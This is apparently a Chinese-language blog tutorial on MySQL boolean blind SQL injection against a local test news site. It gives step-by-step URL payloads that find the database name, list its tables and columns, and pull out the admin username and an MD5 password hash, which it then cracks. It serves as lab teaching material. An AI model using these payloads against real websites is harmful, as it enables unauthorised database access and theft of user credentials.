漏洞原理MySQL注入布尔盲注入

1 判断MySql注入点是否存在 利用盲注入的方式

http://127.0.0.1/news/show.php?id=46 and 1=1 # 正常显示

http://127.0.0.1/news/show.php?id=46 and 1=2 # 不显示

2 获取数据库的长度

http://127.0.0.1/news/show.php?id=46 and length(database())=n n的范围是从 1 开始

http://127.0.0.1/news/show.php?id=46 and length(database())=1


http://127.0.0.1/news/show.php?id=46 and length(database())=2

http://127.0.0.1/news/show.php?id=46 and length(database())=3

http://127.0.0.1/news/show.php?id=46 and length(database())=4 找到数据库的长度为 4

http://127.0.0.1/news/show.php?id=46 and length(database())=5

3 获取数据库的字符串的名字

先变换n的值,获取对应的字母;变换m的值,获取其它字母。

# m:[1,4],n:[32,126]可见字符的范围

#select ord(substr(database(),m,1))=n;

获取的数据库名是news

4 获取news数据库的所有表名组合起来的字符串

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=100

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=99

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=98 获取数据库所有字段的长度是98

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=97

构造url: m的范围[1~98],n的范围[32~126]

http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),m,1))=n

获取数据库所有表的名字  news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users

获取news_users表所有字段组合起来的名称 长度

select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users';

select ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117;

http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n

userid,username,password

6  获取news数据库的news_users表的username字段的值

原理:

select length((select group_concat(**username**) from news_users));

获取长度为:5

select group_concat(username) from news_users;
select ord(substr((select group_concat(username) from news_users),1,1))=97;

构造url

http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(username) from news_users),1,1))=97

得到news数据库的news_users表的username字段的值:admin

按照相同的方式,可以获取password字段的hash值: e10adc3949ba59abbe56e057f20f883e

再通过cmd5查询得到值: 123456

相关推荐

  1. SQL布尔注、延迟注入和堆叠注入

    2024-01-29 20:02:02       50 阅读
  2. 布尔注+时间注+堆叠注入

    2024-01-29 20:02:02       46 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-29 20:02:02       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-29 20:02:02       106 阅读
  3. 在Django里面运行非项目文件

    2024-01-29 20:02:02       87 阅读
  4. Python语言-面向对象

    2024-01-29 20:02:02       96 阅读

热门阅读

  1. 二分查找(适应于无序数组的一种方法)

    2024-01-29 20:02:02       52 阅读
  2. GDB调试技巧实战--自动化画出类关系图

    2024-01-29 20:02:02       65 阅读
  3. c#泛型(Generic)

    2024-01-29 20:02:02       55 阅读
  4. 「优选算法刷题」:汉明距离

    2024-01-29 20:02:02       61 阅读
  5. Mysql学习笔记第八章—索引与范式

    2024-01-29 20:02:02       61 阅读
  6. MySQL45讲 -- MYSQL中的锁

    2024-01-29 20:02:02       55 阅读
  7. C语言标准的输入输出

    2024-01-29 20:02:02       62 阅读
  8. C++循环嵌套和break语句

    2024-01-29 20:02:02       57 阅读
  9. BGP实验

    BGP实验

    2024-01-29 20:02:02      51 阅读
  10. 2024美赛数学建模E题思路+模型+代码+论文

    2024-01-29 20:02:02       42 阅读
  11. 【C语言】(7)输入输出

    2024-01-29 20:02:02       60 阅读